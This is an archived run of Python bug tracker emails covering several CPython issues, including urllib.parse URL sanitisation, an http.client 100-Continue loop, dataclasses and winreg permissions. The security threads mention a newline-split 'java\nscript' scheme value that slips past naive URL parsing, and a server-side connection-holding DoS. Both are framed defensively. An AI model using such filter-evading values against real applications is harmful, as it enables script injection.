In-Reply-To: <1619658397.03.0.0874955697236.issue43972@roundup.psfhosted.org> Message-ID: <1620329171.42.0.116162557091.issue43972@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 2.0 -> 3.0 pull_requests: +24615 pull_request: https://github.com/python/cpython/pull/25952 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 15:27:02 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Thu, 06 May 2021 19:27:02 +0000 Subject: [issue44022] urllib http client possible infinite loop on a 100 Continue response In-Reply-To: <1620061983.98.0.377096987447.issue44022@roundup.psfhosted.org> Message-ID: <1620329222.0.0.414126113555.issue44022@roundup.psfhosted.org> Gregory P. Smith added the comment: If anyone wants a CVE for it, that's up to them. This bug is in the CPython http.client module which is what urllib uses for http/https. I'd rate it low severity. A malicious server can hold a http connection from this library open as a network traffic sink. There are other ways to do that. ex: Just use omit a content-length header in a server response and start streaming an infinite response. The difference in this case being that since the data is thrown away, it isn't going to result in memory exhaustion and kill the unfortunate process as trying to read an infinite response would. That's the primary DoS potential from my point of view. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 15:34:13 2021 From: report at bugs.python.org (Batuhan Taskaya) Date: Thu, 06 May 2021 19:34:13 +0000 Subject: [issue44063] compiler: does not revert back the end_* locations Message-ID: <1620329653.84.0.738145818276.issue44063@roundup.psfhosted.org> New submission from Batuhan Taskaya : Something that I've stumbled up while working on another patch is that, the compiler doesn't revert the end_lineno and the end_col_offset attributes back unlike regular lineno/col_offset. An example of this problem; ar rcs libpython3.10d.a Modules/getbuildinfo.o Parser/token.o Parser/pegen.o Parser/parser.o Parser/string_parser.o Parser/peg_api.(.venv38) (Python 3.8.5+) [ 10:33?S ] [ isidentical at desktop:~/cpython/cpython(main?) ] $ cat t3.py def foo(a): pass foo( a=1, a=2 ) $ ./python t3.py File "/home/isidentical/cpython/cpython/t3.py", line 4 foo( ^ SyntaxError: keyword argument repeated: a with the fix $ ./python t3.py File "/home/isidentical/cpython/cpython/t3.py", line 6 a=2 ^^^ SyntaxError: keyword argument repeated: a ---------- messages: 393138 nosy: BTaskaya priority: normal severity: normal status: open title: compiler: does not revert back the end_* locations _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 15:39:33 2021 From: report at bugs.python.org (Batuhan Taskaya) Date: Thu, 06 May 2021 19:39:33 +0000 Subject: [issue44063] compiler: does not revert back the end_* locations In-Reply-To: <1620329653.84.0.738145818276.issue44063@roundup.psfhosted.org> Message-ID: <1620329973.2.0.478273205193.issue44063@roundup.psfhosted.org> Change by Batuhan Taskaya : ---------- keywords: +patch pull_requests: +24617 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25956 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 15:40:31 2021 From: report at bugs.python.org (Ned Deily) Date: Thu, 06 May 2021 19:40:31 +0000 Subject: [issue44022] urllib http client possible infinite loop on a 100 Continue response In-Reply-To: <1620061983.98.0.377096987447.issue44022@roundup.psfhosted.org> Message-ID: <1620330031.5.0.428313635915.issue44022@roundup.psfhosted.org> Change by Ned Deily : ---------- versions: +Python 3.10, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 15:42:25 2021 From: report at bugs.python.org (Daniel Watkins) Date: Thu, 06 May 2021 19:42:25 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620330145.54.0.499093674683.issue43882@roundup.psfhosted.org> Daniel Watkins added the comment: Hey folks, Thanks for all the work on this: I really appreciate the efforts to keep Python as secure as possible! This change _is_ causing us problems in the cloud-init codebase, which thankfully have been caught by our testing in Ubuntu's development release. This is in a fairly deep part of the codebase, so apologies in advance for the detailed description. TL;DR: cloud-init constructs mirror URLs and then sanitises them by replacing invalid characters with hyphens. With the fix for this bug, urlsplit silently removes (some of) those characters before we can replace them, modifying the output of our sanitisation code, and therefore meaning cloud-init will, albeit in fairly specific corner cases, configure different mirrors if run with a Python including this fix vs. one that precedes it. cloud-init constructs mirror URLs based on applying cloud metadata to user-configured (or default) templates. As we're responsible for constructing these URLs, we also sanitise them before configuring the package manager to use them: specifically, we urlsplit to get the hostname, IDNA-encode (to handle non-ASCII input), replace any invalid URL characters with a "-", and then strip "-" off each part of the hostname (to handle leading/trailing invalid characters), then recombine the URL. The most common case for this is a cloud which specifies values for the variables used in the template with an underscore: http://my_openstack_region.cloud.archive.ubuntu.com/ubuntu causes Apache mirrors with the default "HTTPProtocolOptions Strict" configuration to reject all requests to them (as that's an invalid hostname). In contrast, http://my-openstack-region.cloud.archive.ubuntu.com/ubuntu *is* accepted, so is preferable. (This is important because *.cloud.archive.ubuntu.com exists so that local cloud admins can DNS "hijack" subdomains of it to point at internal servers: even though the Ubuntu mirrors don't reject underscored domains (any longer), this is a landmine waiting for any admins running their own mirrors.) For more background, see the bug where we figured this all out: https://bugs.launchpad.net/cloud-init/+bug/1868232 So, more concretely: if we consider a post-templated URL of http://my\topenstack\tregion.mirror.internal/ubuntu, cloud-init changes from rewriting that to my-openstack-region.mirror.internal (on < 3.9.5) to myopenstackregion.mirror.internal (on 3.9.5+): if, in this notional deployment, an apt mirror is running at (exactly) my-openstack-region.mirror.internal, then new instance deployments will start failing: they won't be able to install packages. This is the sort of breakage that we aim to avoid in cloud-init (because you just _know_ that everyone who deployed this cloud left NotionalCorp years ago, so fixing the configuration to remove these obviously-incorrect tabs is not necessarily trivial). Given the current state of the fix here, it's not clear to me how we could (cleanly) achieve our desired behaviour. We could perform replacement of these characters before invoking `urlsplit` but that would then substitute these characters outside of only the hostname: this is also a change in behaviour. We could substitute those characters with magic strings, perform the split, and then replace them in the non-hostname parts with the original character and in the hostname with hyphens: we've obviously left "cleanly" behind at this point. Another option would be to monkeypatch _UNSAFE_URL_BYTES_TO_REMOVE to an empty list: again, not a solution I'd want to have to support across Python versions! One solution that presents itself to me: add a `strip_insecure_characters: bool = True` parameter. We, in cloud-init, would pass this in as `False`, knowing that we're going to handle those ourselves. Of course, this does leave the door open for API users to keep the current insecure behaviour: if library code (either public or project-internal) were to default to `False`, then the situation is no better than today. For our use case, at least, I think a more restricted solution would work: `url_replacement_char: str = ""`. We'd call `urlsplit(..., url_replacement_char="-")` and the rest of our code would work as it does today: from its POV, there were never these invalid chars in the first place. Thanks once again for the work (and apologies for the wall of text)! Dan ---------- nosy: +odd_bloke -ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 15:48:43 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 06 May 2021 19:48:43 +0000 Subject: [issue43972] Simple HTTP Request Handler in http.server does not set a content-length and does not close connections on 301s In-Reply-To: <1619658397.03.0.0874955697236.issue43972@roundup.psfhosted.org> Message-ID: <1620330523.22.0.897656436668.issue43972@roundup.psfhosted.org> miss-islington added the comment: New changeset 058f9b27d3838f04bbb313074941e9f9946a33bc by Miss Islington (bot) in branch '3.10': bpo-43972: Set content-length to 0 for http.server.SimpleHTTPRequestHandler 301s (GH-25705) https://github.com/python/cpython/commit/058f9b27d3838f04bbb313074941e9f9946a33bc ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 15:49:29 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Thu, 06 May 2021 19:49:29 +0000 Subject: [issue44059] Support SerenityOS Browser in webbrowser module In-Reply-To: <1620312295.06.0.319620249186.issue44059@roundup.psfhosted.org> Message-ID: <1620330569.36.0.799446006081.issue44059@roundup.psfhosted.org> Gregory P. Smith added the comment: New changeset fbefdaf92e40134c43142c182f7c5bfe406e4c2b by Miss Islington (bot) in branch '3.10': bpo-44059: Register the SerenityOS Browser in the webbrowser module (GH-25947) (GH-25950) https://github.com/python/cpython/commit/fbefdaf92e40134c43142c182f7c5bfe406e4c2b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 15:50:34 2021 From: report at bugs.python.org (Daniel Watkins) Date: Thu, 06 May 2021 19:50:34 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620330634.34.0.964796983898.issue43882@roundup.psfhosted.org> Daniel Watkins added the comment: (Accidentally dropped Ned from nosy list; apologies!) ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 15:51:02 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 06 May 2021 19:51:02 +0000 Subject: [issue43972] Simple HTTP Request Handler in http.server does not set a content-length and does not close connections on 301s In-Reply-To: <1619658397.03.0.0874955697236.issue43972@roundup.psfhosted.org> Message-ID: <1620330662.8.0.201031882242.issue43972@roundup.psfhosted.org> miss-islington added the comment: New changeset b391b9b9255697ce6028bb4e7a99c18080aa991c by Miss Islington (bot) in branch '3.9': bpo-43972: Set content-length to 0 for http.server.SimpleHTTPRequestHandler 301s (GH-25705) https://github.com/python/cpython/commit/b391b9b9255697ce6028bb4e7a99c18080aa991c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 15:57:43 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Thu, 06 May 2021 19:57:43 +0000 Subject: [issue43972] Simple HTTP Request Handler in http.server does not set a content-length and does not close connections on 301s In-Reply-To: <1619658397.03.0.0874955697236.issue43972@roundup.psfhosted.org> Message-ID: <1620331063.3.0.666661015942.issue43972@roundup.psfhosted.org> Change by Senthil Kumaran : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 16:02:18 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Thu, 06 May 2021 20:02:18 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620331338.02.0.269404307656.issue43882@roundup.psfhosted.org> Gregory P. Smith added the comment: We try to not add a new parameter in a bugfix release as that can be difficult to use. That said, adding a new bool keyword only parameter to control this behavior seems feasible. Unfortunately you already have to deal with the existence of 3.9.5 having the new behavior but not having a control. (maybe you resort to the global behavior change there by monkeypatching the list? removing tab is probably enough as I doubt you rely on newlines in your scenario?) Code wanting to support versions before this patch _and pass that new parameter_ winds up needing to resort to inspect.signature(), or a call with the parameter, catch the NameError, and retry calling without it pattern. Not unheard of. And so long as most code doesn't ever need to do that trick, is fine. (it can be checked for at module import time rather than doing it on every call to save overhead if that matters) meta: Marking the issue as open while we decide if we'll be doing something here. ---------- status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 16:29:12 2021 From: report at bugs.python.org (Eryk Sun) Date: Thu, 06 May 2021 20:29:12 +0000 Subject: [issue44046] When writing to the Registry using winreg, it currently allows you to write ONLY to HKEY_CURRENT_USERS. In-Reply-To: <1620199728.07.0.7391681228.issue44046@roundup.psfhosted.org> Message-ID: <1620332952.76.0.520745943636.issue44046@roundup.psfhosted.org> Eryk Sun added the comment: > In any case, it should not be necessary to get Python permissions > to execute write / update methods in Python against HKLM hive HKEY_LOCAL_MACHINE is a predefined handle for the key "\REGISTRY\MACHINE". This key is not mounted by a hive. There are several hives that the system mounts on its subkeys, including the SOFTWARE hive. FYI, the list of mounted hives is stored as values in "HKLM\SYSTEM\CurrentControlSet\Control\hivelist". The right to modify system keys is restricted to the administrators local group (i.e. alias) and SYSTEM well-known group. In some cases, privileged service accounts are also granted full access, particularly TrustedInstaller. By default, standard users only have at most read access to system keys, if any access at all (e.g. the SECURITY key grants them no access). If UAC is disabled (not just its consent prompt), or if an administrator account is exempt from UAC restriction, then an administrator gets logged on with an access token with elevation type TokenElevationTypeDefault, which has full administrator access. (The "Administrator" account, i.e. RID 500, is exempt from UAC, but it's disabled by default.) Otherwise an administrator account gets logged on with a linked pair of access tokens, and the logon returns the limited access token with elevation type TokenElevationTypeLimited. For an interactive desktop session, this limited access token is used by default for all created processes. It has medium integrity level, no administrator privileges (e.g. no SeDebugPrivilege, SeBackupPrivilege, etc), and the administrators group is enabled only for access-denied entries in an object's discretionary access control list (DACL). In order to get full administrator access, a request to create an elevated process can be sent to the Appinfo (application information) service, which creates the process with the linked TokenElevationTypeFull access token. The desktop shell's "run as administrator" option does this. The full access token has high (elevated) integrity level, administrator privileges, and the administrators group enabled for granting access via access-allowed entries in an object's DACL. An administrator may not be aware of this because the OS allows some trusted programs to execute with the unlimited access token without prompting for consent. One can also elevate via the Task Scheduler service. A task can be executed on demand via the scheduler COM API, the task scheduler GUI, or CLI `schtasks.exe /run /tn taskname`. I wish you the best of luck in resolving your configuration issues, but this is not a bug in Python. Further discussion is not within the scope of this issue tracker. ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 16:36:08 2021 From: report at bugs.python.org (Mike Lissner) Date: Thu, 06 May 2021 20:36:08 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620333368.98.0.904016749428.issue43882@roundup.psfhosted.org> Mike Lissner added the comment: > With the fix for this bug, urlsplit silently removes (some of) those characters before we can replace them, modifying the output of our sanitisation code I don't have any good solutions for 3.9.5, but going forward, this feels like another example of why we should just do parsing right (the way browsers do). That'd maintain tabs and whatnot in your output, and it'd fix the security issue by putting `java\nscript` into the scheme attribute instead of the path. > One solution that presents itself to me: add a `strip_insecure_characters: bool = True` parameter. Doesn't this lose sight of what this tool is supposed to do? It's not supposed to have a good (new, correct) and a bad (old, obsolete) way of parsing. Woe unto whoever has to write the documentation for that parameter. Also, I should reiterate that these aren't "insecure" characters so if we did have a parameter for this, it'd be more like `do_rfc_3986_parsing` or maybe `do_naive_parsing`. The chars aren't insecure in themselves. They're fine. Python just gets tripped up on them. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 16:37:10 2021 From: report at bugs.python.org (Miguel Brito) Date: Thu, 06 May 2021 20:37:10 +0000 Subject: [issue44061] Regression in pkgutil: iter_modules stopped taking Path argument in python 3.8.10 and 3.9.5 In-Reply-To: <1620323641.82.0.334230031538.issue44061@roundup.psfhosted.org> Message-ID: <1620333430.46.0.988683148671.issue44061@roundup.psfhosted.org> Miguel Brito added the comment: I can reproduce it on latest master running on Linux. steve.dower: I wrote some tests and wrapping get_importer argument with os.fsdecode() fixes it. I'm happy to open an PR, just let me know or if OP is not willing to do so either. ---------- nosy: +miguendes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 16:54:14 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 06 May 2021 20:54:14 +0000 Subject: [issue26680] Incorporating float.is_integer into Decimal In-Reply-To: <1459452864.35.0.120403756979.issue26680@psf.upfronthosting.co.za> Message-ID: <1620334454.95.0.484108576926.issue26680@roundup.psfhosted.org> Raymond Hettinger added the comment: This has gone stale and I've been unable to contact the OP. Marking as closed for now. Please reopen if this comes back to life again and I'll review the PR. ---------- resolution: -> remind stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 16:57:20 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Thu, 06 May 2021 20:57:20 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620334640.74.0.193286110402.issue43882@roundup.psfhosted.org> Gregory P. Smith added the comment: Of note: If we had chosen to raise a ValueError (or similar) for these characters by default, the cloud-init code would also fail to behave as intended today (based on what I see in https://github.com/canonical/cloud-init/commit/c478d0bff412c67280dfe8f08568de733f9425a1) Recommendation for cloud-init - Do your hostname transformation early using as simple as possible logic. By virtue of accepting (and encouraging?) invalid characters and transforming them, what you have today that you call urlsplit on is more of a url template, not really a url. something like this: ``` if m := re.search(r'^(?P[^/:]+://|)(?P[^/]+)(?P/.*)', url_template): start, hostname, end = m.groups() for transformation in transformations: ... fixup hostname ... url = f'{start}{hostname}{end}' else: ... # doesn't look like a URL template ``` yes this simplicity would allow your transformations to apply to the :port number. you could simplify further by including the scheme_colon_slashes in the part transformed. as your values are coming from user written config files, do you need to care about invalid characters in those transforming into invalid in the scheme or port number - characters in the resulting url anyways? after that, do you even need urlsplit at all in your `_apply_hostname_transformations_to_url()` function? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 17:00:42 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 06 May 2021 21:00:42 +0000 Subject: [issue40297] test_socket.CANTest is broken at HEAD on master In-Reply-To: <1587007502.68.0.180919322143.issue40297@roundup.psfhosted.org> Message-ID: <1620334842.94.0.993343241626.issue40297@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24618 pull_request: https://github.com/python/cpython/pull/25957 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 17:04:43 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Thu, 06 May 2021 21:04:43 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620335083.17.0.805410457283.issue43882@roundup.psfhosted.org> Gregory P. Smith added the comment: FWIW, if we were to add a parameter, I'd lean towards a name of "invalid_url_characters = None" defaulting to using what's in our private _UNSAFE_URL_BYTES_TO_REMOVE global when None but otherwise letting the user specify a sequence of characters. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 17:34:30 2021 From: report at bugs.python.org (Ulrich Petri) Date: Thu, 06 May 2021 21:34:30 +0000 Subject: [issue43176] Dataclasses derived from empty frozen bases skip immutability checks In-Reply-To: <1612854759.36.0.400211114548.issue43176@roundup.psfhosted.org> Message-ID: <1620336870.93.0.317223525045.issue43176@roundup.psfhosted.org> Ulrich Petri added the comment: @eric.smith Sure, here you go: dataclass_empty.py: ``` from dataclasses import dataclass @dataclass class A: pass @dataclass(frozen=True) class B(A): x: int print("42") ``` Running this on < 3.8.10: ``` $ ~/.pythonz/pythons/CPython-3.8.1/bin/python3.8 --version Python 3.8.1 $ ~/.pythonz/pythons/CPython-3.8.1/bin/python3.8 dataclass_empty.py 42 ``` And on 3.8.10: ``` $ /usr/local/opt/python at 3.8/bin/python3 --version Python 3.8.10 $ /usr/local/opt/python at 3.8/bin/python3 dataclass_empty.py Traceback (most recent call last): File "dataclass_empty.py", line 10, in class B(A): File "/usr/local/Cellar/python at 3.8/3.8.10/Frameworks/Python.framework/Versions/3.8/lib/python3.8/dataclasses.py", line 1011, in wrap return _process_class(cls, init, repr, eq, order, unsafe_hash, frozen) File "/usr/local/Cellar/python at 3.8/3.8.10/Frameworks/Python.framework/Versions/3.8/lib/python3.8/dataclasses.py", line 896, in _process_class raise TypeError('cannot inherit frozen dataclass from a ' TypeError: cannot inherit frozen dataclass from a non-frozen one ``` ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 17:51:52 2021 From: report at bugs.python.org (Eric V. Smith) Date: Thu, 06 May 2021 21:51:52 +0000 Subject: [issue43176] Dataclasses derived from empty frozen bases skip immutability checks In-Reply-To: <1612854759.36.0.400211114548.issue43176@roundup.psfhosted.org> Message-ID: <1620337912.05.0.418452015838.issue43176@roundup.psfhosted.org> Eric V. Smith added the comment: Hmm. I think maybe the intent was that if you're frozen, treat all the fields as frozen, including ones you inherit, regardless if the base classes are frozen or not. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 18:34:08 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Thu, 06 May 2021 22:34:08 +0000 Subject: [issue11466] getpass.getpass doesn't close tty file In-Reply-To: <1299844492.32.0.259676792362.issue11466@psf.upfronthosting.co.za> Message-ID: <1620340448.62.0.114452267224.issue11466@roundup.psfhosted.org> Senthil Kumaran added the comment: This was fixed in https://github.com/python/cpython/commit/16dbbae2981c96c7c9b1ae81e1708d54b08c10ac Since Python 3.4 And tests do not raise any ResourceWarning now. ``` $ ../../python -Vs Python 3.11.0a0 $ ../../python -m unittest test_getpass.py -v test_username_falls_back_to_pwd (test_getpass.GetpassGetuserTest) ... ok test_username_priorities_of_env_values (test_getpass.GetpassGetuserTest) ... ok test_username_takes_username_from_env (test_getpass.GetpassGetuserTest) ... ok test_flushes_stream_after_prompt (test_getpass.GetpassRawinputTest) ... ok test_raises_on_empty_input (test_getpass.GetpassRawinputTest) ... ok test_trims_trailing_newline (test_getpass.GetpassRawinputTest) ... ok test_uses_stderr_as_default (test_getpass.GetpassRawinputTest) ... ok test_uses_stdin_as_default_input (test_getpass.GetpassRawinputTest) ... ok test_uses_stdin_as_different_locale (test_getpass.GetpassRawinputTest) ... ok test_falls_back_to_fallback_if_termios_raises (test_getpass.UnixGetpassTest) ... ok test_falls_back_to_stdin (test_getpass.UnixGetpassTest) ... ok test_flushes_stream_after_input (test_getpass.UnixGetpassTest) ... ok test_resets_termios (test_getpass.UnixGetpassTest) ... ok test_uses_tty_directly (test_getpass.UnixGetpassTest) ... ok ---------------------------------------------------------------------- Ran 14 tests in 0.041s OK ``` ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 19:29:05 2021 From: report at bugs.python.org (Steve Dower) Date: Thu, 06 May 2021 23:29:05 +0000 Subject: [issue44061] Regression in pkgutil: iter_modules stopped taking Path argument in python 3.8.10 and 3.9.5 In-Reply-To: <1620333430.46.0.988683148671.issue44061@roundup.psfhosted.org> Message-ID: <2068269d-bc9e-9543-6529-0869d6dff8ac@python.org> Steve Dower added the comment: > I can reproduce it on latest master running on Linux. Interesting. Perhaps my actual change was to cause it to raise an error earlier (outside of a handler)? Which would mean that the Path object was always failing before, just silently. Arguably we should filter them out instead, then, rather than introducing a new supported type (as has been argued with similar changes elsewhere) in a security branch. Though I'm sure the OP would have noticed if their call was never returning any modules, so presumably it must have worked somehow. > I'm happy to open an PR, just let me know or if OP is not willing to do so either. Feel free. I assume they'd have arrived with a PR if they were keen to write it themselves. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 19:34:37 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Thu, 06 May 2021 23:34:37 +0000 Subject: [issue44059] Support SerenityOS Browser in webbrowser module In-Reply-To: <1620312295.06.0.319620249186.issue44059@roundup.psfhosted.org> Message-ID: <1620344077.77.0.891325769742.issue44059@roundup.psfhosted.org> Gregory P. Smith added the comment: thanks for the PR! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 20:10:04 2021 From: report at bugs.python.org (Eric V. Smith) Date: Fri, 07 May 2021 00:10:04 +0000 Subject: [issue43176] Dataclasses derived from empty frozen bases skip immutability checks In-Reply-To: <1612854759.36.0.400211114548.issue43176@roundup.psfhosted.org> Message-ID: <1620346204.53.0.0125329697031.issue43176@roundup.psfhosted.org> Change by Eric V. Smith : ---------- keywords: +3.8regression, 3.9regression -patch resolution: fixed -> stage: resolved -> needs patch status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 21:22:04 2021 From: report at bugs.python.org (Kathleen West) Date: Fri, 07 May 2021 01:22:04 +0000 Subject: [issue44064] Python39/lib/logging/__init__.py SyntaxError: cannot delete starred Message-ID: <1620350524.12.0.616777681382.issue44064@roundup.psfhosted.org> New submission from Kathleen West : There is a syntax error in the python library "Python39/lib/logging/__init__.py" that when I run this is VS Code in debug mode, this shows up all the time. python --version Python 3.9.4 Python39/lib/logging/__init__.py { "resource": "/C:/Users/kathl/AppData/Local/Programs/Python/Python39/lib/logging/__init__.py", "owner": "_generated_diagnostic_collection_name_#0", "severity": 8, "message": "SyntaxError: cannot delete starred", "source": "jedi", "startLineNumber": 1030, "startColumn": 17, "endLineNumber": 1030, "endColumn": 29 } ---------- components: Library (Lib) files: PythonError.jpg messages: 393156 nosy: kathleenwest priority: normal severity: normal status: open title: Python39/lib/logging/__init__.py SyntaxError: cannot delete starred type: compile error versions: Python 3.9 Added file: https://bugs.python.org/file50021/PythonError.jpg _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 21:27:29 2021 From: report at bugs.python.org (Jelle Zijlstra) Date: Fri, 07 May 2021 01:27:29 +0000 Subject: [issue44064] Python39/lib/logging/__init__.py SyntaxError: cannot delete starred In-Reply-To: <1620350524.12.0.616777681382.issue44064@roundup.psfhosted.org> Message-ID: <1620350849.68.0.182735418948.issue44064@roundup.psfhosted.org> Jelle Zijlstra added the comment: Line 1030 of 3.9.4 is at https://github.com/python/cpython/blob/1f2e3088f3c097b5bde69bbd63dfcd0852d31984/Lib/logging/__init__.py#L1030 and doesn't have a del statement or a syntax error. Most likely there's some mismatch where you're running the wrong version of Python. ---------- nosy: +Jelle Zijlstra _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 21:41:17 2021 From: report at bugs.python.org (Kathleen West) Date: Fri, 07 May 2021 01:41:17 +0000 Subject: [issue44064] Python39/lib/logging/__init__.py SyntaxError: cannot delete starred In-Reply-To: <1620350524.12.0.616777681382.issue44064@roundup.psfhosted.org> Message-ID: <1620351677.33.0.898284795216.issue44064@roundup.psfhosted.org> Kathleen West added the comment: Jelle Zijlstra (Jelle Zijlstra) "Saying it so doesn't make it so" See the photo for proof. If you could reply with more details and clear steps on how to resolve the issue, that would be appreciated. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 21:49:01 2021 From: report at bugs.python.org (Kathleen West) Date: Fri, 07 May 2021 01:49:01 +0000 Subject: [issue44064] Python39/lib/logging/__init__.py SyntaxError: cannot delete starred In-Reply-To: <1620350524.12.0.616777681382.issue44064@roundup.psfhosted.org> Message-ID: <1620352141.46.0.527118772376.issue44064@roundup.psfhosted.org> Kathleen West added the comment: The "del" statement ******************* del_stmt ::= "del" target_list Deletion is recursively defined very similar to the way assignment is defined. Rather than spelling it out in full details, here are some hints. Deletion of a target list recursively deletes each target, from left to right. Deletion of a name removes the binding of that name from the local or global namespace, depending on whether the name occurs in a "global" statement in the same code block. If the name is unbound, a "NameError" exception will be raised. Deletion of attribute references, subscriptions and slicings is passed to the primary object involved; deletion of a slicing is in general equivalent to assignment of an empty slice of the right type (but even this is determined by the sliced object). Changed in version 3.2: Previously it was illegal to delete a name from the local namespace if it occurs as a free variable in a nested block. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 21:51:37 2021 From: report at bugs.python.org (Kathleen West) Date: Fri, 07 May 2021 01:51:37 +0000 Subject: [issue44064] Python39/lib/logging/__init__.py SyntaxError: cannot delete starred In-Reply-To: <1620350524.12.0.616777681382.issue44064@roundup.psfhosted.org> Message-ID: <1620352297.95.0.888169915498.issue44064@roundup.psfhosted.org> Kathleen West added the comment: I literally changed the base logging code to this and it worked finally: del t del v del tb ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 21:57:38 2021 From: report at bugs.python.org (Kevin) Date: Fri, 07 May 2021 01:57:38 +0000 Subject: [issue35633] test_eintr fails on AIX since fcntl functions were modified In-Reply-To: <1546366148.3.0.0239151726659.issue35633@roundup.psfhosted.org> Message-ID: <1620352658.6.0.178399680485.issue35633@roundup.psfhosted.org> Kevin added the comment: FYI, the problem here is that AIX fcntl returns EACCES in the case that the lock is held and non-blocking behavior was requested: > The lockfx and lockf subroutines fail if one of the following is true: Item > > EACCES The Command parameter is F_SETLK, the l_type field is F_RDLCK, and the segment of the file to be locked is already write-locked by another process. > EACCES The Command parameter is F_SETLK, the l_type field is F_WRLCK, and the segment of a file to be locked is already read-locked or write-locked by another process. https://www.ibm.com/docs/en/aix/7.1?topic=l-lockfx-lockf-flock-lockf64-subroutine (Note the docs are a bit wonky referring to lockf/lockfx but talking about parameters and fields which apply to fcntl instead) The lockf/flock APIs provided by AIX handle this appropriately, mapping EACCES to EWOULDBLOCK, but while Python calls the libbsd flock API, it uses its own lockf implementation which calls fcntl directly: https://github.com/python/cpython/blob/main/Modules/fcntlmodule.c#L426 ---------- nosy: +kadler _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 22:11:15 2021 From: report at bugs.python.org (Zachary Ware) Date: Fri, 07 May 2021 02:11:15 +0000 Subject: [issue40297] test_socket.CANTest is broken at HEAD on master In-Reply-To: <1587007502.68.0.180919322143.issue40297@roundup.psfhosted.org> Message-ID: <1620353475.31.0.849245839709.issue40297@roundup.psfhosted.org> Change by Zachary Ware : ---------- versions: +Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 22:21:52 2021 From: report at bugs.python.org (Zachary Ware) Date: Fri, 07 May 2021 02:21:52 +0000 Subject: [issue40297] test_socket.CANTest is broken at HEAD on master In-Reply-To: <1587007502.68.0.180919322143.issue40297@roundup.psfhosted.org> Message-ID: <1620354112.9.0.549150713227.issue40297@roundup.psfhosted.org> Change by Zachary Ware : ---------- pull_requests: +24619 pull_request: https://github.com/python/cpython/pull/25960 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 22:32:06 2021 From: report at bugs.python.org (Jelle Zijlstra) Date: Fri, 07 May 2021 02:32:06 +0000 Subject: [issue44064] Python39/lib/logging/__init__.py SyntaxError: cannot delete starred In-Reply-To: <1620350524.12.0.616777681382.issue44064@roundup.psfhosted.org> Message-ID: 